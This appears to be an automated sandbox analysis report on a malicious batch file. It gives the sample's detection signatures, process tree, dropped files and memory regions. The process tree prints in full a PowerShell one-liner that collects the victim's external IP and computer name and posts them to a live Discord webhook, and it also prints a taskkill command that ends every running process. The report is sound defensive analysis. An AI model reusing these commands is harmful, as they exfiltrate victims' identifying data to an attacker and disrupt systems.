Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 11:31

General

  • Target
    dont run this.bat
  • Size 849B
  • Sample240603-nmpsdsch31
  • SHA256 5fa54e25da95bc1653386095036e5e49674eaf32a84abf5260d06766939b3c2b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 62 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dont run this.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& {$ip = Invoke-RestMethod http://ipinfo.io/json | Select-Object -ExpandProperty ip; $pcName = $env:COMPUTERNAME; $webhook = 'https://discord.com/api/webhooks/1247011829113421924/G7H0e1jRD0We6lVEwOvpi4hMvIPUhb5TglUInY9mdGy6MSxXFUT5tl3x_3jw9dhg1Pk8'; $msg = 'IP Address: ' + $ip + ' | PC Name: ' + $pcName; Invoke-RestMethod -Uri $webhook -Method Post -Body @{content = $msg}}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:848
    • C:\Windows\system32\taskkill.exe
      taskkill /F /FI "STATUS eq RUNNING"
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3600
  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:4800
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4040
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    PID:2728
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2588
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:932

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        AppCache133618878850179763.txt

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133618878850179763.txt
        • Size 75KB
        • SHA256 b2552766ebb3469549cea5b6b609077fa6e38c000eba6befadfd275e11a8095e
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_ly0duhpc.h1s.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly0duhpc.h1s.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/848-16-0x00007FFF67030000-0x00007FFF67AF1000-memory.dmp

        memory/848-19-0x00007FFF67030000-0x00007FFF67AF1000-memory.dmp

        memory/848-12-0x00007FFF67030000-0x00007FFF67AF1000-memory.dmp

        memory/848-13-0x00000128EE2D0000-0x00000128EE492000-memory.dmp

        memory/848-14-0x00000128EE9D0000-0x00000128EEEF8000-memory.dmp

        memory/848-15-0x00007FFF67030000-0x00007FFF67AF1000-memory.dmp

        memory/848-0-0x00007FFF67033000-0x00007FFF67035000-memory.dmp

        memory/848-11-0x00007FFF67030000-0x00007FFF67AF1000-memory.dmp

        memory/848-7-0x00000128EDD60000-0x00000128EDD82000-memory.dmp

        memory/932-27-0x0000028494100000-0x0000028494200000-memory.dmp

        memory/932-26-0x0000028494100000-0x0000028494200000-memory.dmp

        memory/932-31-0x0000028495260000-0x0000028495280000-memory.dmp

        memory/932-62-0x0000028495630000-0x0000028495650000-memory.dmp

        memory/932-32-0x0000028495220000-0x0000028495240000-memory.dmp

        memory/4040-25-0x0000000002890000-0x0000000002891000-memory.dmp